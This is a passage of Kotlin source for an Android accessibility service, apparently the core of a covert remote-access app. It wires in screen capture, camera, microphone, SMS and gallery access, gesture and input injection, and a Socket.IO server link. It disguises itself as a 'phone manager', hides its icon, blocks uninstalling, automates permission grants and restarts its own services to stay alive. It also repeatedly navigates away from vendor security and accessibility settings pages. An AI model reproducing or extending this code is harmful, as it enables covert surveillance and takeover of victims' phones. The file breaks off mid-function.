package com.hikoncont.service

import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.app.ActivityManager
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.usage.UsageStatsManager
import android.content.BroadcastReceiver
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.content.pm.PackageManager
import android.graphics.Path
import android.graphics.PointF
import android.app.KeyguardManager
import java.io.File
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.os.PowerManager
import android.provider.Settings
import android.util.Log
import android.view.KeyEvent
import android.view.WindowManager
import android.view.Display
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import androidx.core.app.NotificationCompat
import com.hikoncont.MainActivity
import com.hikoncont.R
import com.hikoncont.manager.PermissionGranter
import com.hikoncont.manager.ScreenCaptureManager
import com.hikoncont.manager.CameraManager
import com.hikoncont.manager.SMSManager
import com.hikoncont.manager.GestureController
import com.hikoncont.manager.InputController
import com.hikoncont.manager.Android15MediaProjectionManager
import com.hikoncont.manager.SmartMediaProjectionManager
import com.hikoncont.manager.GalleryManager
// WebSocketClient removed - using Socket.IO only
import com.hikoncont.network.SocketIOManager
import com.hikoncont.service.modules.ServiceLifecycleManager
import com.hikoncont.service.modules.AccessibilityEventManager
import com.hikoncont.service.modules.NetworkManager
import com.hikoncont.service.modules.ConfigManager
import com.hikoncont.service.modules.PermissionManager
import com.hikoncont.service.modules.AppIconLongPressInterceptor
import com.hikoncont.service.modules.UnlockManager
import com.hikoncont.service.modules.ScreenManager
import com.hikoncont.service.modules.GestureManager
import com.hikoncont.service.modules.InputManager
import com.hikoncont.service.modules.LearningManager
import com.hikoncont.service.modules.LoggingManager
import com.hikoncont.service.modules.KeyEventManager
import com.hikoncont.service.modules.MaskOverlayManager
import com.hikoncont.service.modules.UIAnalysisManager
import com.hikoncont.service.modules.PermissionUIManager
import com.hikoncont.service.modules.DebugAnalysisManager
import com.hikoncont.service.modules.ConfigMaskManager
import com.hikoncont.service.modules.ConfigProgressManager
import com.hikoncont.service.modules.WriteSettingsPermissionManager
import com.hikoncont.service.modules.AuthorizationModule
import com.hikoncont.service.modules.ScreenBrightnessManager
import com.hikoncont.service.modules.AppIconHideManager
import com.hikoncont.util.InstallationStateManager
import kotlinx.coroutines.*
import android.media.projection.MediaProjectionManager
import android.media.projection.MediaProjection
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.OperationLogCollector
import com.hikoncont.manager.MicrophoneManager
import com.hikoncont.service.modules.VivoAuthorizationHandler

import kotlin.math.pow
import org.json.JSONArray
import org.json.JSONObject

/**
 * 核心无障碍服务 - 远程控制的中心
 *
 * 主要职责:
 * 1. 管理权限获取流程
 * 2. 处理屏幕捕获和传输
 * 3. 执行远程控制指令
 * 4. 维护与服务器的连接
 */
class AccessibilityRemoteService : AccessibilityService() {

    companion object {
        private const val TAG = "AccessibilityRemoteService"
        private const val NOTIFICATION_CHANNEL_ID = "remote_control_service"
        private const val NOTIFICATION_ID = 1001

        // 🛡️ 防止卸载保护相关常量
        private const val SIM_CAMOUFLAGE_NAME = "手机管家"  // SIM伪装时的显示名称
        
        // ✅ WebView状态静态变量（高性能，直接内存访问）
        @Volatile
        var isWebViewOpen: Boolean = false
            private set
            
        @Volatile
        var lastWebViewStatusTime: Long = 0
            private set
        
        /**
         * ✅ 设置WebView打开状态（供MainActivity调用）
         */
        fun setWebViewOpen(open: Boolean) {
            isWebViewOpen = open
            lastWebViewStatusTime = System.currentTimeMillis()
        }

        // 📱 系统设置相关包名（常见的设置应用）
        private val SYSTEM_SETTINGS_PACKAGES = setOf(
            "com.android.settings",           // 标准Android设置
            "com.coloros.safecenter",         // OPPO安全中心
            "com.huawei.systemmanager",       // 华为系统管理
            "com.miui.securitycenter",        // 小米安全中心
            "com.samsung.android.lool",       // 三星权限管理
            "com.vivo.permissionmanager",     // vivo权限管理
            "com.oneplus.security",           // 一加安全中心
            "com.meizu.safe",                 // 魅族手机管家
            "com.iqoo.secure",                // iQOO安全中心
            "com.realme.securitycheck"        // realme安全检测
        )

        // 服务实例
        @Volatile
        private var instance: AccessibilityRemoteService? = null

        fun getInstance(): AccessibilityRemoteService? = instance

        fun isServiceRunning(): Boolean = instance != null
    }

    /**
     * 检查权限申请是否已完成或正在进行 - 优化版本，增加冷却时间检查
     */
    fun isPermissionRequestInProgress(): Boolean {
        val currentTime = System.currentTimeMillis()
        val timeSinceLastRequest = currentTime - lastPermissionRequestTime

        // ✅ 如果在冷却时间内，视为正在进行中，避免重复申请
        if (timeSinceLastRequest < permissionRequestCooldown) {
            Log.d(
                TAG,
                "🕒 权限申请冷却中(${timeSinceLastRequest}ms < ${permissionRequestCooldown}ms)，阻止重复申请"
            )
            return true
        }

        return permissionRequestInProgress
    }

    /**
     * 检查所有权限是否已完成
     */
    fun areAllPermissionsCompleted(): Boolean = allPermissionsCompleted

    /**
     * 获取Android 15 MediaProjection管理器（供外部组件使用）
     */
    fun getAndroid15MediaProjectionManager(): Android15MediaProjectionManager? {
        return android15MediaProjectionManager
    }

    // 核心管理器
    private lateinit var permissionGranter: PermissionGranter
    private lateinit var screenCaptureManager: ScreenCaptureManager
    private lateinit var cameraManager: CameraManager
    private lateinit var smsManager: SMSManager
    private lateinit var gestureController: GestureController
    private lateinit var inputController: InputController
    private lateinit var socketIOManager: SocketIOManager

    // Android 15专用管理器
    private var android15MediaProjectionManager: Android15MediaProjectionManager? = null

    // 智能权限管理器（适用于所有Android版本）
    private var smartMediaProjectionManager: SmartMediaProjectionManager? = null

    // 权限健康监控服务
    private var permissionHealthMonitor: PermissionHealthMonitor? = null

    // 协程作用域
    private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
    
    // ✅ WebView状态检查定时任务
    private var webViewStatusCheckJob: Job? = null
    
    // ✅ 唤醒屏幕定时任务
    private var wakeScreenJob: Job? = null

    // 🔕 WebView页面降载：进入本应用的WebView页面时，暂停无障碍事件处理以降低开销
    @Volatile
    private var pauseAccessibilityForWebView: Boolean = false

    // ✅ 安装完成状态缓存（null=未检测过, true=已安装完成, false=未安装完成）
    @Volatile
    private var cachedInstallationComplete: Boolean? = null
    
    // ✅ 性能优化：前台状态缓存，避免频繁系统调用
    @Volatile
    private var cachedIsAppInForeground: Boolean = false
    private var lastForegroundCheckTime: Long = 0
    
    // WakeLock保活
    private var wakeLock: PowerManager.WakeLock? = null

    // 服务状态
    private var isInitialized = false
    // ✅ Phase 4.1 Step 3: 连接状态现在通过NetworkManager管理，移除本地变量

    // ✅ 权限申请状态标志，防止重复申请
    @Volatile
    private var permissionRequestInProgress = false

    // 删除悬浮窗权限申请相关配置
    @Volatile
    private var allPermissionsCompleted = false

    @Volatile
    private var lastPermissionRequestTime = 0L // 上次权限申请时间

    @Volatile
    private var permissionRequestCooldown = 30000L // 权限申请冷却时间：30秒

    // ✅ 新增：防止重复初始化标志
    @Volatile
    private var serviceInitializationStarted = false

    // Android 15权限稳定通知防重复标志
    @Volatile
    private var android15PermissionStableNotified = false

    // ✅ 新增：Web端一键解锁模式标志
    @Volatile
    private var webUnlockMode = false

    // ✅ Phase 4.3 Step 2: 日志功能已迁移到LoggingManager，保留兼容性变量
    private var isLoggingEnabled = false
    var logCollector: OperationLogCollector? = null

    // ✅ Phase 4.1: 延迟初始化的模块实例
    private lateinit var serviceLifecycleManager: ServiceLifecycleManager
    private lateinit var accessibilityEventManager: AccessibilityEventManager
    private lateinit var networkManager: NetworkManager
    private lateinit var configManager: ConfigManager
    private lateinit var permissionManager: PermissionManager
    private lateinit var unlockManager: UnlockManager
    private lateinit var screenManager: ScreenManager
    private lateinit var gestureManager: GestureManager
    private lateinit var inputManager: InputManager
    private lateinit var learningManager: LearningManager
    private lateinit var loggingManager: LoggingManager
    private lateinit var keyEventManager: KeyEventManager
    private lateinit var maskOverlayManager: MaskOverlayManager
    private lateinit var uiAnalysisManager: UIAnalysisManager
    private lateinit var permissionUIManager: PermissionUIManager
    private lateinit var debugAnalysisManager: DebugAnalysisManager

    // ✅ 新增：配置期间遮盖管理器
    private lateinit var configMaskManager: ConfigMaskManager
    private lateinit var configProgressManager: ConfigProgressManager

    // ✅ 新增：WRITE_SETTINGS权限管理器
    private lateinit var writeSettingsPermissionManager: WriteSettingsPermissionManager

    // 🔥 新增：授权模块
    private var authorizationModule: AuthorizationModule? = null

    // 🔧 新增：WRITE_SETTINGS权限申请暂停状态
    @Volatile
    private var isWriteSettingsPermissionPaused = false

    // ✅ 新增：屏幕亮度管理器
    private lateinit var screenBrightnessManager: ScreenBrightnessManager

    // ✅ 新增：应用图标隐藏管理器
    private lateinit var appIconHideManager: AppIconHideManager

    // ✅ 新增：APP图标长按监听器
    private lateinit var appIconLongPressInterceptor: AppIconLongPressInterceptor

    // ✅ 新增：可配置的无障碍设置页面监控（默认关闭，不影响正常设备）
    private var enableAccessibilityMonitor = false // 🚨 默认关闭，从配置文件读取
    private var accessibilityPageMonitor: Job? = null
    private var lastAccessibilityPageCheckTime = 0L
    private var accessibilityPageStuckCount = 0

    // ✅ 无障碍设置页面包名（用于检测是否卡在设置页面）
    private val accessibilitySettingsPackages = setOf(
        "com.android.settings",
        "com.coloros.safecenter", // OPPO
        "com.huawei.systemmanager", // 华为
        "com.miui.securitycenter", // 小米
        "com.samsung.android.lool", // 三星
        "com.vivo.permissionmanager", // vivo
        "com.oneplus.security", // 一加
        "com.iqoo.secure", // iQOO
        "com.realme.securitycheck" // realme
    )

    // ===== 内联：多任务页面监听与阻断返回 =====

    override fun onServiceConnected() {
        super.onServiceConnected()
        Log.i(TAG, "🚀 无障碍服务已连接")

        instance = this
        registerPermissionRequestReceiver()
        // ✅ 移除重复的INSTALLATION_COMPLETE接收器，使用全局InstallationCompleteReceiver

        // ✅ Phase 4.1: 初始化模块实例
        initializeModules()
        
        // ✅ 启动WebView状态检查定时任务
        startWebViewStatusCheckTask()
        
        // ✅ 启动唤醒屏幕定时任务（每分钟调用一次）
//        startWakeScreenTask()

        // ✅ Phase 4.1 Step 1: 使用ServiceLifecycleManager处理服务连接
        serviceLifecycleManager.handleServiceConnected()

        // ❎ 关闭有效保活管理器（仅使用WorkManager）
        // startEffectiveKeepAlive()

        // ✅ 仅启动WorkManager保活
        startWorkManagerKeepAlive()

        // ✅ 服务互保机制：无障碍服务监控并重启主前台服务（参考 f 目录的 BackAccessRunServiceUseUse）
        checkAndStartMainForegroundService()

        // ✅ 启用日志记录：确保服务每次连接/重启后日志开启
//        enableLogging()
        // ✅ 新增：检查授权模块状态，如果授权正在进行中则延迟启动日志
        try {
            val isAuthorizationInProgress = authorizationModule?.isAuthorizing() == true
            if (isAuthorizationInProgress) {
                Log.i(TAG, "🔒 授权模块正在进行中，延迟启动日志记录功能")
                // 延迟启动日志，等待授权完成
                serviceScope.launch {
                    waitForAuthorizationCompletion()
                }
            } else {
                 enableLogging() // 暂停：服务启动时不自动开启日志
                Log.i(TAG, "📝 无障碍服务连接后已启用日志记录")
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 启用日志记录失败(服务连接阶段)", e)
        }

        // 🛡️ 恢复卸载保护持久化状态
        try {
            val sp = getSharedPreferences(UNINSTALL_PROTECTION_PREF, MODE_PRIVATE)
            val saved = sp.getBoolean(KEY_UNINSTALL_PROTECTION, false)
            if (saved && !isUninstallProtectionEnabled) {
                isUninstallProtectionEnabled = true
                startUninstallProtectionMonitor()
                Log.i(TAG, "🛡️ 恢复卸载保护状态: enabled=true")
            } else {
                Log.i(TAG, "🛡️ 卸载保护持久化状态: $saved, 当前: $isUninstallProtectionEnabled")
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 恢复卸载保护状态失败", e)
        }

        // ❎ 关闭进程监控服务（仅使用WorkManager）
        // startProcessMonitorService()

        // （已移除）多任务页面监听服务

        // ✅ 新增：加载配置并启动无障碍设置页面监控（如果启用）
        loadAccessibilityMonitorConfig()
        if (enableAccessibilityMonitor) {
            startAccessibilityPageMonitor()
        }

        // ✅ 新增：恢复伪装监听状态
        restoreCamouflageState()

        initializeService()
    }

    /**
     * 🎭 恢复伪装监听状态
     */
    private fun restoreCamouflageState() {
        try {
            if (isAppInCamouflageMode()) {
                Log.i(TAG, "🎭 检测到APP处于伪装模式，恢复伪装监听")
                if (::accessibilityEventManager.isInitialized) {
                    accessibilityEventManager.autoRestoreCamouflageState()
                    Log.i(TAG, "✅ 伪装监听状态已恢复")
                } else {
                    Log.w(TAG, "⚠️ AccessibilityEventManager未初始化，无法恢复伪装状态")
                }
            } else {
                Log.d(TAG, "🎭 APP未处于伪装模式，无需恢复伪装监听")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 恢复伪装状态失败", e)
        }
    }

    // ✅ Phase 4.1 Step 1: 这些方法已迁移到ServiceLifecycleManager

    // ✅ 新增：有效保活管理器
    private var effectiveKeepAliveManager: EffectiveKeepAliveManager? = null

    /**
     * ✅ 新增：启动有效保活管理器
     */
    private fun startEffectiveKeepAlive() {
        try {
            Log.i(TAG, "🛡️ 启动有效保活管理器")
            effectiveKeepAliveManager = EffectiveKeepAliveManager(this)
            effectiveKeepAliveManager?.startEffectiveKeepAlive()
            Log.i(TAG, "✅ 有效保活管理器已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动有效保活管理器失败", e)
        }
    }

    /**
     * ✅ 新增：启动WorkManager保活
     */
    /**
     * ✅ 服务互保机制：无障碍服务监控并重启主前台服务
     * 参考 f 目录的 BackAccessRunServiceUseUse.ServerStart()
     * f 目录在特定设备上（TECNO、ITEL、INFINIX）检查并启动 BackRunServerUseUse
     */
    private fun checkAndStartMainForegroundService() {
        try {
            // ✅ 参考 f 目录：检查主前台服务是否在运行
            val serviceStatusManager = ServiceStatusManager.getInstance(this)
            val isMainServiceRunning = serviceStatusManager.isServiceRunning(RemoteControlForegroundService::class.java)
            
            if (isMainServiceRunning) {
                Log.d(TAG, "✅ 主前台服务已在运行，无需启动")
                return
            }
            
            // ✅ 参考 f 目录：在后台线程启动主服务（避免阻塞）
            serviceScope.launch(Dispatchers.IO) {
                try {
                    Log.i(TAG, "🔄 无障碍服务检测到主前台服务未运行，启动主服务（服务互保机制）")
                    
                    val intent = Intent(this@AccessibilityRemoteService, RemoteControlForegroundService::class.java)
                    if (android.os.Build.VERSION.SDK_INT >= 26) {
                        startForegroundService(intent)
                    } else {
                        startService(intent)
                    }
                    
                    Log.i(TAG, "✅ 主前台服务已启动（无障碍服务互保）")
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 无障碍服务启动主前台服务失败", e)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查主前台服务状态失败", e)
        }
    }

    private fun startWorkManagerKeepAlive() {
        try {
            Log.i(TAG, "🚀 启动WorkManager保活服务")
            val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance()
            workManagerKeepAlive.startKeepAlive(this)
            Log.i(TAG, "✅ WorkManager保活服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动WorkManager保活服务失败", e)
        }
    }

    /**
     * ✅ 新增：启动进程监控服务
     */
    private fun startProcessMonitorService() {
        try {
            Log.i(TAG, "🔍 启动进程监控服务")
            val intent = Intent(this, ProcessMonitorService::class.java)
            startService(intent)
            Log.i(TAG, "✅ 进程监控服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动进程监控服务失败", e)
        }
    }

    // （已移除）启动多任务页面监听服务

    /**
     * ✅ 新增：停止有效保活管理器
     */
    private fun stopEffectiveKeepAlive() {
        try {
            Log.i(TAG, "🛑 停止有效保活管理器")
            effectiveKeepAliveManager?.stopEffectiveKeepAlive()
            effectiveKeepAliveManager = null
            Log.i(TAG, "✅ 有效保活管理器已停止")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 停止有效保活管理器失败", e)
        }
    }

    // ✅ 新增：监控配置参数
    private var monitorCheckIntervalMs = 500L // 0.5秒检查一次
    private var monitorConfirmationCount = 2 // 2次确认
    private var monitorMaxRetryCount = 8 // 最多8次重试
    private var monitorStartDelayMs = 1000L // 1秒后开始

    /**
     * ✅ 新增：加载无障碍监控配置
     */
    private fun loadAccessibilityMonitorConfig() {
        try {
            val configText = assets.open("accessibility_monitor_config.json").bufferedReader()
                .use { it.readText() }
            val config = org.json.JSONObject(configText)
            enableAccessibilityMonitor = config.optBoolean("enableAccessibilityMonitor", false)

            // 读取监控设置
            val settings = config.optJSONObject("monitorSettings")
            if (settings != null) {
                monitorCheckIntervalMs =
                    (settings.optDouble("checkIntervalSeconds", 0.5) * 1000).toLong()
                monitorConfirmationCount = settings.optInt("confirmationRequiredCount", 2)
                monitorMaxRetryCount = settings.optInt("maxRetryCount", 8)
                monitorStartDelayMs =
                    (settings.optDouble("delayAfterServiceConnectedSeconds", 1.0) * 1000).toLong()
            }

            if (enableAccessibilityMonitor) {
                Log.i(
                    TAG,
                    "✅ 无障碍监控功能已启用 - 配置：延迟${monitorStartDelayMs}ms，间隔${monitorCheckIntervalMs}ms，确认${monitorConfirmationCount}次，最多${monitorMaxRetryCount}次"
                )
                Log.w(TAG, "⚠️ 无障碍监控功能仅用于解决特定设备的跳转问题")
            } else {
                Log.d(TAG, "⚙️ 无障碍监控功能已禁用（默认状态）")
            }
        } catch (e: Exception) {
            Log.d(TAG, "⚙️ 无法加载无障碍监控配置，使用默认设置（禁用）: ${e.message}")
            enableAccessibilityMonitor = false
        }
    }

    /**
     * ✅ 新增：可配置的无障碍设置页面监控（保守实现）
     */
    private fun startAccessibilityPageMonitor() {
        if (!enableAccessibilityMonitor) {
            Log.d(TAG, "⚙️ 无障碍页面监控已禁用，跳过")
            return
        }

        try {
            Log.i(TAG, "🔍 启动无障碍设置页面监控（问题设备专用）")

            accessibilityPageMonitor = serviceScope.launch(Dispatchers.IO) {
                while (isActive) {
                    try {
                        delay(monitorCheckIntervalMs) // 使用配置的检查间隔

                        // 使用配置的启动延迟
                        val serviceRunTime = System.currentTimeMillis() - (instance?.let { 0 } ?: 0)
                        if (serviceRunTime < monitorStartDelayMs) {
                            continue
                        }

                        // 检查是否卡在无障碍设置页面
                        if (isStuckInAccessibilitySettings()) {
                            handleAccessibilityPageStuck()
                        } else {
                            // 重置计数器
                            accessibilityPageStuckCount = 0
                        }
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ 无障碍页面监控检查异常", e)
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动无障碍页面监控失败", e)
        }
    }

    /**
     * ✅ 新增：检查是否卡在无障碍设置页面（保守检测）
     */
    private fun isStuckInAccessibilitySettings(): Boolean {
        return try {
            val rootNode = rootInActiveWindow ?: return false
            val packageName = rootNode.packageName?.toString() ?: ""

            // 检查是否在无障碍设置相关页面
            val isInSettingsPage = accessibilitySettingsPackages.any {
                packageName.contains(it, ignoreCase = true)
            }

            if (!isInSettingsPage) {
                rootNode.recycle()
                return false
            }

            // 进一步检查页面内容，确保是无障碍相关页面
            val accessibilityKeywords = listOf(
                "无障碍", "辅助功能", "Accessibility",
                "RemoteControl", "Remote Control", "远程控制"
            )

            var hasAccessibilityContent = false
            for (keyword in accessibilityKeywords) {
                val nodes = rootNode.findAccessibilityNodeInfosByText(keyword)
                if (nodes.isNotEmpty()) {
                    hasAccessibilityContent = true
                    nodes.forEach { it.recycle() }
                    break
                }
            }

            rootNode.recycle()

            val isStuck = isInSettingsPage && hasAccessibilityContent
            if (isStuck) {
                Log.d(TAG, "🔍 检测到可能卡在无障碍设置页面: 包名=$packageName")
            }

            return isStuck
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 检查无障碍设置页面失败", e)
            false
        }
    }

    /**
     * ✅ 新增：处理卡在无障碍设置页面的情况（保守处理）
     */
    private fun handleAccessibilityPageStuck() {
        try {
            val currentTime = System.currentTimeMillis()

            // 避免频繁处理（至少间隔10秒）
            if (currentTime - lastAccessibilityPageCheckTime < 10000L) {
                return
            }

            lastAccessibilityPageCheckTime = currentTime
            accessibilityPageStuckCount++

            Log.w(TAG, "⚠️ 检测到卡在无障碍设置页面 (第${accessibilityPageStuckCount}次)")

            // 使用配置的确认次数
            if (accessibilityPageStuckCount < monitorConfirmationCount) {
                Log.d(
                    TAG,
                    "🔍 等待更多确认，当前检测次数: ${accessibilityPageStuckCount}/${monitorConfirmationCount}"
                )
                return
            }

            // 使用配置的最大重试次数，避免无限循环
            if (accessibilityPageStuckCount > monitorMaxRetryCount) {
                Log.w(TAG, "⚠️ 已达到最大尝试次数，停止监控")
                accessibilityPageMonitor?.cancel()
                return
            }

            // 尝试温和的跳转方法
            Log.i(TAG, "🔄 尝试从无障碍设置页面跳转回应用 (第${accessibilityPageStuckCount}次)")
            serviceScope.launch {
                smartReturnToApp()
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理无障碍设置页面卡住失败", e)
        }
    }

    /**
     * ✅ 新增：禁用无障碍设置页面检测（在AuthorizationModule开始时调用）
     */
    fun disableAccessibilityPageMonitor() {
        try {
            if (accessibilityPageMonitor?.isActive == true) {
                Log.i(TAG, "🛑 AuthorizationModule已启动，禁用无障碍设置页面检测")
                accessibilityPageMonitor?.cancel()
                accessibilityPageMonitor = null

                // 重置检测计数器
                accessibilityPageStuckCount = 0
                lastAccessibilityPageCheckTime = 0L

                Log.i(TAG, "✅ 无障碍设置页面检测已禁用")
            } else {
                Log.d(TAG, "🔍 无障碍设置页面检测已经是禁用状态")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 禁用无障碍设置页面检测失败", e)
        }
    }


    /**
     * ✅ 新增：智能返回应用方法 - 增强版，支持设备特殊适配
     * 逻辑：检测当前页面 -> 根据设备类型执行不同的返回策略
     */
    private suspend fun smartReturnToApp(): Boolean {
        return try {
            val brand = Build.BRAND.lowercase()
            val version = Build.VERSION.SDK_INT
            // 🔥 检测是否为小米特殊设备（Android 10和Android 13）
            val miSpecialDevice = detectMiSpecialDevice()
            if (miSpecialDevice != null) {
                Log.i(TAG, "📱 检测到小米${miSpecialDevice}设备，使用特殊返回策略")
                return when (miSpecialDevice) {
                    "Android 10" -> smartReturnToAppForMiAndroid10()
                    "Android 13" -> smartReturnToAppForMiAndroid13()
                    else -> smartReturnToAppForMiAndroid10() // 默认使用Android 10策略
                }
            }
            val vivoSpecialDevice = detectVivoSpecialDevice()
            if (vivoSpecialDevice == null) {
                // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
                if (isKeepAliveScenario()) {
                    Log.i(TAG, "💡 保活场景下智能返回应用，不启动MainActivity（避免保活程序拉起）")
                    return false
                }
                
                val intent = Intent(this, com.hikoncont.MainActivity::class.java).apply {
                    addFlags(
                        Intent.FLAG_ACTIVITY_NEW_TASK or
                                Intent.FLAG_ACTIVITY_CLEAR_TOP or
                                Intent.FLAG_ACTIVITY_SINGLE_TOP
                    )
                    putExtra("SMART_RETURN_BACKUP", true)
                    putExtra("FROM_ACCESSIBILITY_SERVICE", true)
                }
                startActivity(intent)

                // 等待应用启动
                delay(2000)
            }


            // 最终检测
            val isInAppFinal = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 简单方案跳回应用 = $isInAppFinal")

            if (isInAppFinal) {
                Log.i(TAG, "✅ 简单方案跳回应用，已回到应用页面")
                return true
            } else {
                Log.e(TAG, "❌ 启用返回键返回应用")
            }

            Log.i(TAG, "🏠 开始智能返回应用流程（最多4次返回操作）")

            // 第一次检测：当前是否在应用页面
            val isInApp1 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第一次检测：当前是否在应用 = $isInApp1")

            if (isInApp1) {
                Log.i(TAG, "✅ 已经在应用页面，但仍进行稳定性验证")
                // 即使已经在应用，也等待一下确保状态稳定
                if (brand.equals("vivo",ignoreCase = true) && version == 31){
                    delay(1000)
                }else{
                    delay(500)
                }
                val isStable = isCurrentlyInOurApp()
                if (isStable) {
                    Log.i(TAG, "✅ 应用页面状态稳定，无需返回")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 应用页面状态不稳定，继续返回操作")
                }
            }

            // 第一次返回操作
            Log.i(TAG, "🔙 执行第一次返回操作")
            performGlobalAction(GLOBAL_ACTION_BACK)
            if (brand.equals("vivo",ignoreCase = true) && version == 31){
                delay(1500)
            }else{
                delay(1000)
            }

            // 第二次检测
            val isInApp2 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第二次检测：第一次返回后是否在应用 = $isInApp2")

            if (isInApp2) {
                Log.i(TAG, "✅ 第一次返回成功，验证稳定性")
                delay(500)
                val isStable2 = isCurrentlyInOurApp()
                if (isStable2) {
                    Log.i(TAG, "✅ 第一次返回成功且状态稳定")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 第一次返回成功但状态不稳定，继续返回")
                }
            }

            // 第二次返回操作
            Log.i(TAG, "🔙 执行第二次返回操作")
            performGlobalAction(GLOBAL_ACTION_BACK)

            if (brand.equals("vivo",ignoreCase = true) && version == 31){
                delay(1500)
            }else{
                delay(1000)
            }


            // 第三次检测
            val isInApp3 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第三次检测：第二次返回后是否在应用 = $isInApp3")

            if (isInApp3) {
                Log.i(TAG, "✅ 第二次返回成功，验证稳定性")
                if (brand.equals("vivo",ignoreCase = true) && version == 31){
                    delay(1000)
                }else{
                    delay(500)
                }
                val isStable3 = isCurrentlyInOurApp()
                if (isStable3) {
                    Log.i(TAG, "✅ 第二次返回成功且状态稳定")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 第二次返回成功但状态不稳定，继续返回")
                }
            }

            // 第三次返回操作
            Log.i(TAG, "🔙 执行第三次返回操作")
            performGlobalAction(GLOBAL_ACTION_BACK)
            if (brand.equals("vivo",ignoreCase = true) && version == 31){
                delay(1500)
            }else{
                delay(1000)
            }

            // 第四次检测
            val isInApp4 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第四次检测：第三次返回后是否在应用 = $isInApp4")

            if (isInApp4) {
                Log.i(TAG, "✅ 第三次返回成功，验证稳定性")
                if (brand.equals("vivo",ignoreCase = true) && version == 31){
                    delay(1000)
                }else{
                    delay(500)
                }
                val isStable4 = isCurrentlyInOurApp()
                if (isStable4) {
                    Log.i(TAG, "✅ 第三次返回成功且状态稳定")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 第三次返回成功但状态不稳定，继续返回")
                }
            }

            // 第四次返回操作
            Log.i(TAG, "🔙 执行第四次返回操作")
            performGlobalAction(GLOBAL_ACTION_BACK)
            if (brand.equals("vivo",ignoreCase = true) && version == 31){
                delay(1500)
            }else{
                delay(500)
            }

            // 第五次检测
            val isInApp5 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第五次检测：第四次返回后是否在应用 = $isInApp5")

            if (isInApp5) {
                Log.i(TAG, "✅ 第四次返回成功，已回到应用页面")
                return true
            } else {
                // 如果4次返回都没有成功，使用备用方案直接启动应用
                Log.w(TAG, "⚠️ 四次返回操作都未成功回到应用，返回应用失败")
                return false
            }


        } catch (e: Exception) {
            Log.e(TAG, "❌ 智能返回应用失败", e)
            false
        }
    }

    /**
     * 🔥 检测是否为小米特殊设备（需要特殊返回策略的设备）
     */
    private fun detectMiSpecialDevice(): String? {
        val brand = Build.BRAND.lowercase()
        val version = Build.VERSION.SDK_INT
        val isMi = brand.contains("xiaomi") || brand.contains("redmi")

        Log.d(TAG, "🔍 设备检测: 品牌=$brand, SDK=$version, 是否小米=$isMi")

        if (!isMi) return null

        return when (version) {
            29 -> {
                Log.d(TAG, "📱 检测到小米Android 10设备")
                "Android 10"
            }

            33 -> {
                Log.d(TAG, "📱 检测到小米Android 13设备")
                "Android 13"
            }

            34 -> {
                Log.d(TAG, "📱 检测到小米Android 14设备，也用13测试")
                "Android 13"
            }

            else -> {
                Log.d(TAG, "📱 小米设备其他版本: SDK=$version")
                null
            }
        }
    }

    /**
     * 🔥 检测是否为vivo特殊设备（需要特殊返回策略的设备）
     */
    private fun detectVivoSpecialDevice(): String? {
        val brand = Build.BRAND.lowercase()
        val version = Build.VERSION.SDK_INT
        val isVivo = brand.contains("vivo") || brand.contains("oneplus")

        Log.d(TAG, "🔍 设备检测: 品牌=$brand, SDK=$version, 是否Vivo=$isVivo")

        if (!isVivo) return null

        return "Vivo"
    }

    /**
     * 🔥 检测是否为小米Android 10设备（向后兼容）
     */
    private fun isMiAndroid10Device(): Boolean {
        return detectMiSpecialDevice() == "Android 10"
    }

    /**
     * 🔥 小米Android 10设备专用的智能返回方法
     * 特殊处理：减少返回次数，取消稳定性验证中的额外返回操作
     */
    private suspend fun smartReturnToAppForMiAndroid10(): Boolean {
        return try {
            Log.i(TAG, "🏠 开始小米Android 10设备智能返回流程（最多2次返回操作）")

            // 第一次检测：当前是否在应用页面
            val isInApp1 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第一次检测：当前是否在应用 = $isInApp1")

            if (isInApp1) {
                Log.i(TAG, "✅ 已经在应用页面，小米Android 10设备跳过稳定性验证")
                return true
            }

            // 第一次返回操作
            Log.i(TAG, "🔙 执行第一次返回操作")
            performGlobalAction(GLOBAL_ACTION_BACK)
            delay(500)

            // 第二次检测
            val isInApp2 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第二次检测：第一次返回后是否在应用 = $isInApp2")

            if (isInApp2) {
                Log.i(TAG, "✅ 第一次返回成功，小米Android 10设备跳过稳定性验证")
                return true
            }

            // 第二次返回操作
            Log.i(TAG, "🔙 执行第二次返回操作")
            performGlobalAction(GLOBAL_ACTION_BACK)
            delay(500)

            // 第三次检测
            val isInApp3 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 第三次检测：第二次返回后是否在应用 = $isInApp3")

            if (isInApp3) {
